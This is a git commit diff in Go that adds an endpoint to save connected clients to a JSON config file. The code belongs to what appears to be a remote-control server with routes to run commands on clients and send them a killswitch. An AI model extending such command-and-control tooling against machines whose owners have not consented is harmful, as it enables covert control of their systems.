Allow user to save clients directly to config

This commit is contained in:
raul 2024-06-11 10:45:31 +02:00
parent 4d18d0933c
commit ecf6e1d443
2 changed files with 42 additions and 3 deletions

View File

@ -2,8 +2,11 @@ package cmd
import ( import (
"embed" "embed"
"encoding/json"
"fmt" "fmt"
"log"
"net/http" "net/http"
"os"
"strconv" "strconv"
"strings" "strings"
"time" "time"
@ -36,15 +39,41 @@ func WebServer() {
r.POST("/command/:clientid", execCMD) r.POST("/command/:clientid", execCMD)
r.POST("/kill/:clientid", sendKillswitch) r.POST("/kill/:clientid", sendKillswitch)
r.GET("/dump", dumpClients) r.GET("/dump", dumpClients)
r.POST("/save", saveClients)
r.Run(":" + WebPort) r.Run(":" + WebPort)
} }
func dumpClients(c *gin.Context) { func dumpClients(c *gin.Context) {
jsonClients := marshalClients()
c.IndentedJSON(http.StatusOK, jsonClients)
}
func saveClients(c *gin.Context) {
log.Println("Saving clients...")
jsonClients := marshalClients()
fileToSaveTo, err := setClientPath()
if err != nil {
log.Print(err)
return
}
f, err := os.Create(fileToSaveTo)
if err != nil {
log.Print(err)
return
}
defer f.Close()
as_json, _ := json.MarshalIndent(jsonClients, "", "\t")
f.Write(as_json)
log.Println("SUCCESS!")
}
func marshalClients() ClientJSON {
jsonClients := ClientJSON{Date: time.Now()} jsonClients := ClientJSON{Date: time.Now()}
for _, v := range clientList { for _, v := range clientList {
jsonClients.List = append(jsonClients.List, v.ClientBasicInfo) jsonClients.List = append(jsonClients.List, v.ClientBasicInfo)
} }
c.IndentedJSON(http.StatusOK, jsonClients) return jsonClients
} }
func getRoot(c *gin.Context) { func getRoot(c *gin.Context) {

View File

@ -32,11 +32,11 @@ func (c Client) Instruct(i Instructions) error {
return nil return nil
} }
func recoverClients() error { func setClientPath() (string, error) {
var fileToOpen string var fileToOpen string
home, err := os.UserHomeDir() home, err := os.UserHomeDir()
if err != nil { if err != nil {
return err return "", err
} }
if isUsingJSONParameter == false { if isUsingJSONParameter == false {
fileToOpen = home + clientJSONPath fileToOpen = home + clientJSONPath
@ -48,6 +48,15 @@ func recoverClients() error {
fileToOpen = clientJSONPath fileToOpen = clientJSONPath
} }
return fileToOpen, nil
}
func recoverClients() error {
fileToOpen, err := setClientPath()
if err != nil {
return err
}
clients := ClientJSON{} clients := ClientJSON{}
file, err := os.Open(fileToOpen) file, err := os.Open(fileToOpen)
if err != nil { if err != nil {
@ -104,6 +113,7 @@ func handleConn(conn net.Conn) {
ID, err := getClient(conn) ID, err := getClient(conn)
if err != nil { if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err) log.Printf("Error happened receiving OS information: %v\n", err)
return
} }
go Heartbeat(ID) go Heartbeat(ID)